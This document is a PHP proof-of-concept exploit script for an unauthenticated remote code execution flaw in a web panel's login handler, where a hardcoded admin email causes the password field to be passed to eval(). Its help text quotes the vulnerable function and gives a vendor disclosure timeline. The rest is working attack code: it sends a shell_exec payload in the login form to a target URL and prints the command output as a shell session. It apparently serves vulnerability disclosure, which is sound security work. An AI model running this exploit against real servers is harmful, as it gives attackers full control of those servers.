Full Exploit Code

<?php
/**
 * Usage:
 * php poc.php --url www.example.com --cmd id
 * php poc.php --url https://www.example.com --cmd id
 *
 * Notes:
 * - Fixed email: suportes@slah.com.br
 * - PHPSESSID: Randomized for each request (Unauthenticated RCE)
 * - Only URL and cmd vary by argument
 */
$options = getopt("", ["url:", "cmd:"]);
if (!isset($options['url'], $options['cmd'])) {
    echo "+------------------------------------------------------------------------+\n";
    echo "[+] RCE (Remote Code Execution)\n";
    echo "A critical code injection vulnerability was identified in the\n";
    echo "'session' function within config.php. The application\n";
    echo "implements an insecure logic gate that triggers an 'eval()'\n";
    echo "sink when a hardcoded administrative identifier is provided.\n";
    echo 'The lack of input sanitization on the "$value" (line 62) parameter' . "\n";
    echo "allows for unauthenticated, arbitrary PHP code execution,\n";
    echo "leading to complete server-side compromise.\n";
    echo "\n[*] Researcher: João Paulo de Oliveira\n";
    echo "[*] Exploit Author: João Paulo de Oliveira\n\n";
    echo "+------------------------------------------------------------------------+\n";
    echo '55    function session($key, $value = null)
56    {
57        if ($value != null) {
58            $_SESSION[$key] = $value;
59            // [REDACTED]: (not relevant to the RCE)
60        }
61        if($key == \'[email protected]\' && $value != null){
62            eval($value);
63        }else{
64            return $_SESSION[$key] ?? null;
65        }
66    }';
    echo "\n+------------------------------------------------------------------------+\n\n";
    echo "[*] 2025-09-01 - Vulnerability identified\n";
    echo "[*] 2025-09-02 - Initial contact with vendor\n";
    echo "[*] 2025-09-02 - Vendor acknowledged and requested details\n";
    echo "[*] 2025-09-03 - Technical details and mitigation provided\n";
    echo "[*] 2026-01-05 - Official patch released by vendor\n";
    echo "[*] 2026-01-15 - CVE ID requested and disclosure initiated\n";
    echo "+------------------------------------------------------------------------+\n";
    echo "Usage:\n";
    echo "php " . $argv[0] . " --url painel.site.com --cmd command\n";
    exit(1);
}
$raw_url = $options['url'];
// If the URL has no protocol (http/https), it adds https://
if (!preg_match('#^https?://#i', $raw_url)) {
    $raw_url = "https://" . $raw_url;
}
$url = rtrim($raw_url, "/");
$host = parse_url($url, PHP_URL_HOST);
$login_url = $url . "/login";
// Payload injection
$post_fields = http_build_query([
    "email" => "[email protected]",
    "senha" => "echo shell_exec('" . implode(' ', array_slice($argv, array_search('--cmd', $argv) + 1)) . "');"
]);
// Request Headers
$headers = [
    "Host: $host",
    "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language: en-US,en;q=0.5",
    "Accept-Encoding: gzip, deflate, br",
    "Content-Type: application/x-www-form-urlencoded",
    "Origin: $url",
    "Referer: $url/login",
    "Connection: keep-alive"
];
// Generates a random session ID to prove unauthenticated RCE
$random_session = md5(uniqid(rand(), true));
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL            => $login_url,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => $post_fields,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER     => $headers,
    CURLOPT_COOKIE         => "PHPSESSID=" . $random_session,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT        => 15
]);
// Execute the request and get the response
$response = curl_exec($ch);
// Filter out HTML alerts and error messages
$response = preg_replace('/<p class="alert.*?<\/p>/s', '', $response);
if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . "\n";
} else {
    // Visual only, simulating a bash shell
    echo "poc@poc:~$ " . trim($response) . "\n";
}
curl_close($ch);